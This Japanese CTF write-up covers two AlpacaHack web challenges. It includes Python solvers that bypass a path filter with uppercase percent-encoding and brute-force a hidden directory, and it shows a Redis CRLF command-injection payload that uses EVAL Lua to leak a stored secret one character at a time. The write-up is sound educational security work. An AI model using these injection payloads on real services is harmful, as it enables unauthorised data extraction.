プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

AlpacaHack Round 7 (Web) write-up

AlpacaHack Round 7 (Web)へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/11/30(日) 12:00 +09:00 - 11/30(日) 18:00 +09:00の6時間開催でした。他ルールはコンテストページから引用します:

AlpacaHack Round 7 (Web) へようこそ!
AlpacaHack は個人戦の CTF を継続して開催する新しいプラットフォームです。

AlpacaHack Round 7 は AlpacaHack で行われる 7 回目の CTF で、Web カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 問題作成者は st98、ark です!

参加方法
1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。
2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。

注意事項
- AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。
- 問題は運営が想定した難易度の順に並んでいます。
- 問題の配点は解いた人数に応じて変動します。
- フラグフォーマットは Alpaca{...} です。
- 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。
  - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。
  - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。
- 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。

これまでのRound同様に問題は運営が想定した難易度の順に並んでいますと明記されており、並び順で想定難易度が示されました。

なお今回は、コンテスト中に4問目に非想定解法が見つかったとのことで、リベンジ問題の5問目が追加されています。リベンジ問題の配布ファイルパスワードは4問目のフラグであるため、何が変化したかは私は分かっていません。

結果

正の得点を得ている78人中、262点で25位でした:

順位と得点等(Scoreboard加工後)

チェック印: 解けた問題

また、Certificate箇所から順位の証明書も表示できます:

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.5198]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • Google Chrome Version 131.0.6778.86 (Official Build) (64-bit)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.167.4-microsoft-standard-WSL2 (root@f9c826d3017f) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Tue Nov 5 00:21:55 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show httpx | grep Version:
Version: 0.27.0
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.5
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ docker --version
Docker version 27.2.0, build 3ab4256
$

解けた問題

[Web] Treasure Hunt (71 solves, 116 points)

Can you find a treasure?

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yaml:           ASCII text
./web/Dockerfile:         ASCII text
./web/index.js:           JavaScript source, Unicode text, UTF-8 text
./web/package-lock.json:  JSON text data
./web/package.json:       JSON text data
./web/public/alpaca:      Unicode text, UTF-8 text
./web/public/book:        Unicode text, UTF-8 text
./web/public/crown:       Unicode text, UTF-8 text
./web/public/drum:        Unicode text, UTF-8 text
./web/public/duck:        Unicode text, UTF-8 text
./web/public/key:         Unicode text, UTF-8 text
./web/public/pen:         Unicode text, UTF-8 text
./web/public/tokyo/tower: Unicode text, UTF-8 text
./web/public/wind/chime:  Unicode text, UTF-8 text
$

web/index.jsは次の内容でした:

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
<p>Can you find a treasure?</p>
<ul>
  <li><a href=/book>/book</a></li>
  <li><a href=/drum>/drum</a></li>
  <li><a href=/duck>/duck</a></li>
  <li><a href=/key>/key</a></li>
  <li><a href=/pen>/pen</a></li>
  <li><a href=/tokyo/tower>/tokyo/tower</a></li>
  <li><a href=/wind/chime>/wind/chime</a></li>
  <li><a href=/alpaca>/alpaca</a></li>
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  console.log(req.url);
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

肝心のフラグは、Dockerfile中で./web/public以下の深いディレクトリへ作成されます:

FROM node:22.11.0

WORKDIR /app

COPY public public

# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH
# 以降省略

$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)箇所を試すと3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1のようなパスになりました。その中へ /f/l/a/g/./t/x/ディレクトリが作成され、最後のtファイルへフラグ内容が書き込まれます。index.js中にapp.use(express.static("public"));行があることから、publicディレクトリ以下の内容をHTTP経由で取得できます。

一方でフラグを取得するには、次の2点を解決する必要があります:

  1. tファイルのパスはフラグ内容のMD5を基準に作成されているため、途中のディレクトリを探索する必要があります。
  2. app.useで登録しているミドルウェア中でif (/[flag]/.test(req.url))分岐があり、その分岐を回避する必要があります。ルートパス用のHTMLページに記載されているリンクの中でも、/alpacaパスは分岐に引っかかるため表示されません。

1つめのディレクトリ探索について試行錯誤すると、存在するディレクトリ名で終わるパスなら301 Moved Permanentlyレスポンスが、存在しないディレクトリ名で終わるパスなら404 Not Foundレスポンスが得られることが分かりました。各階層のディレクトリ名1文字について探索して301レスポンスが返るディレクトリ名から、フラグが保存されているパスを判断できそうです:

$ curl -I http://localhost:3000/3
HTTP/1.1 301 Moved Permanently
X-Powered-By: Express
Content-Type: text/html; charset=UTF-8
Content-Length: 151
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Location: /3/
Date: Sat, 30 Nov 2024 09:19:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

$ curl -I http://localhost:3000/2
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Length: 141
Date: Sat, 30 Nov 2024 09:19:29 GMT
Connection: keep-alive
Keep-Alive: timeout=5
$

2つ目のif (/[flag]/.test(req.url))分岐回避に苦労しました。色々試行錯誤すると、分岐に使われるreq.url内容を調べるとパーセントエンコーディング箇所はデコードされずにそのまま格納されていたため、パーセントエンコーディングしつつ大文字表記にすると回避できました。サンプルの/alpacaでの例です:

$ curl -i http://localhost:3000/alpaca
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 16
ETag: W/"10-xsbtdQpwKeIif0fVAvppFVOuspA"
Date: Sat, 30 Nov 2024 09:21:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Bad URL: /alpaca
$ curl -i http://localhost:3000/%61%6C%70%61%63%61
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 29 Nov 2024 17:23:06 GMT
ETag: W/"5-19378f29c90"
Content-Length: 5
Date: Sat, 30 Nov 2024 09:23:06 GMT
Connection: keep-alive
Keep-Alive: timeout=5

🦙
$

2点とも解決できたので、自動的に探索するソルバーを書きました。なお、HTTP用クライアントとしてよく使われているrequestsライブラリの場合は、HEADメソッド以外、例えばGETメソッドの場合は自動的にリダイレクト後の内容を再取得します。一方でhttpxライブラリの場合は自動ではリダイレクトしません。このためhttpxライブラリを使う方が簡単に書けると思います:

#!/usr/bin/env python3

import httpx

BASE_URL = "http://localhost:3000"
BASE_URL = "http://198.51.100.1:3000"

with httpx.Client(base_url=BASE_URL) as client:
    candidates = (
        "0123456789abcdef" + "flagtxt"
    )  # .を入れると無限ループします。それはそう。
    flag_path = ""
    for i in range(128):
        for c in candidates:
            current_path = flag_path + "/%" + f"{int(ord(c)):02x}".upper()
            response = client.get(current_path)
            if response.status_code == 200:
                print(response.text)
                exit(0)
            if response.status_code == 301:
                flag_path = current_path
                break

実行しました:

$ time ./solve.py
Alpaca{alpacapacapacakoshitantan}

./solve.py  0.83s user 0.03s system 1% cpu 1:08.39 total
$

フラグを入手できました: Alpaca{alpacapacapacakoshitantan} あるぱかぱかぱかこしたんたん。

[Web] Alpaca Poll (42 solves, 146 points)

Dog, cat, and alpaca. Which animal is your favorite?

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yaml:          ASCII text
./web/.dockerignore:     ASCII text
./web/db.js:             JavaScript source, Unicode text, UTF-8 text
./web/Dockerfile:        ASCII text
./web/index.js:          JavaScript source, ASCII text
./web/package-lock.json: JSON text data
./web/package.json:      JSON text data
./web/redis.conf:        ASCII text
./web/start.sh:          Bourne-Again shell script, ASCII text executable
./web/static/alpaca.svg: SVG Scalable Vector Graphics image
./web/static/index.html: HTML document, Unicode text, UTF-8 text
./web/static/style.css:  ASCII text

Dockerfileは最終的にstart.shを起動する内容で、start.shはRedisサーバーとWebサーバーを同時に起動する内容です:

#!/bin/bash
redis-server ./redis.conf &
sleep 3
node index.js

web/index.jsは次の内容で、web/db.jsを使いながら、フラグを含むDBの初期設定をしつつ、/voteおよび/votesエンドポイントを提供しています:

import fs from 'node:fs/promises';
import express from 'express';

import { init, vote, getVotes } from './db.js';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'Alpaca{dummy}';

process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('static'));

const indexHtml = (await fs.readFile('./static/index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml);
});

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

await init(FLAG); // initialize Redis
app.listen(PORT, () => {
    console.log(`server listening on ${PORT}`);
});

web/db.jsは次の内容で、Redisサーバーとの送受信を担当しています:

import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}

const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        message += `GET ${animal}\r\n`;
    }

    const reply = await send(socket, message);
    socket.destroy();

    let result = {};
    for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
        result[ANIMALS[index]] = parseInt(match[1], 10);
    }

    return result;
}

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}

web/db.jsinit関数で、dogcatalpacaキーについてアルパカを優遇しつつ票数を設定すると同時に、flagキーへフラグを登録しています。flagキー内容を取得することが目的です。しかし次の課題があります:

  1. こちらの入力を送信できる唯一のエンドポイント/voteで、文字列へ変換しつつ、\rおよび\nreplace関数で除外しています。
  2. Redisサーバーの応答を得られる唯一のエンドポイント/votesでは、flagキーは対象外であり、かつ対象となるキーでも数値のみを抽出します。そのため何らかの方法でフラグ内容を数値へ変換して、取得する必要があります。

コンテスト中は1つ目の課題に相当悩んだのですが、実は分かると簡単でした。JavaScriptのString.replace()関数は、最初に出現したパターンのみを置き換え、2個目以降のパターンは置き換えません。そのため\r\nを2回以上含めると、Redis通信の任意位置へ改行文字を含ませることができます。Redisの通信プロトコルRedis serialization protocol specificationを調べるとThe \r\n (CRLF) is the protocol's terminator, which always separates its parts.とあり、\r\nでコマンドが区切られることが分かります。つまり\r\nを挿入することで、Redis通信へのコマンドインジェクションができます。(調べるとRedisはNoSQLの文脈で語られることが多いようで、NoSQL Injectionの1つのようです)

Redis通信へのコマンドインジェクションができるようになったので、あとはどうにかして、votesコマンドで取得できる形式でフラグ文字列を操作する必要があります。RedisのCommandsページ を探しました。

最初は「GETコマンドは文字列を返すのでStringグループの関数からそれらしいコマンドを探せばいい?」と思っていました。しかし、取得するだけか、設定するだけのコマンドばかりであり、「flagキー内容を加工しつつcatキーへ書き込み」等を一度にできるコマンドは無さそうでした。

困って他のグループを探していると、Scripting and functionsグループにEVALコマンドを見つけました。使用例を調べていると、redis.call関数でLuaスクリプトからRedisの機能を呼び出せるようです。

最終的に、次の手順になりました:

  1. RedisのGETRANGE関数で、flagキーから指定index番目の文字を取得
  2. Luaのstring.byte関数で、文字のコードを取得
  3. Luaのtostring関数で、コードを文字列型へ変換
  4. RedisのSET関数で、/votesエンドポイントから取得できるdogキーへ、変換結果を設定

Lua入門しつつ書いたソルバーです。なお、Luaスクリプトを複数行表記にしてしまうと、Redisの-ERR Protocol error: unbalanced quotes in requestエラーになるようです。そのためセミコロンで文を区切って1行へ収めました:

#!/usr/bin/env python3

import httpx

BASE_URL = "http://localhost:3000"
BASE_URL = "http://198.51.100.1:3000"

with httpx.Client(base_url=BASE_URL) as client:
    flag = ""
    for i in range(64):
        lua_code = f"""
local value = redis.call('GETRANGE', 'flag', {i}, {i});
return redis.call('SET', 'dog', tostring(string.byte(value)));
""".replace("\n", " ")
        r1 = client.post(
            "/vote", data={"animal": "\r\nalpaca\r\n" + f"""EVAL "{lua_code}" 0"""}
        )
        flag += chr(client.get("/votes").json()["dog"])
        print(flag)
        if flag.endswith("}"):
            break

実行しました:

$ time ./solve.py
A
Al
Alp
Alpa
Alpac
Alpaca
Alpaca{
Alpaca{e
Alpaca{ez
Alpaca{ezo
Alpaca{ezot
Alpaca{ezota
Alpaca{ezotan
Alpaca{ezotanu
Alpaca{ezotanuk
Alpaca{ezotanuki
Alpaca{ezotanuki_
Alpaca{ezotanuki_m
Alpaca{ezotanuki_mo
Alpaca{ezotanuki_mof
Alpaca{ezotanuki_mofu
Alpaca{ezotanuki_mofum
Alpaca{ezotanuki_mofumo
Alpaca{ezotanuki_mofumof
Alpaca{ezotanuki_mofumofu
Alpaca{ezotanuki_mofumofu}
./solve.py  0.20s user 0.03s system 2% cpu 9.986 total
$

フラグを入手できました: Alpaca{ezotanuki_mofumofu} えぞたぬきもふもふ。

感想

  • Redis関係を初めてまともに調べました。少し詳しくなれました!
  • Webジャンルへ取り組むたびに、WEBでは様々なサーバーや技術スタックが使われていると感じています。幅広いです。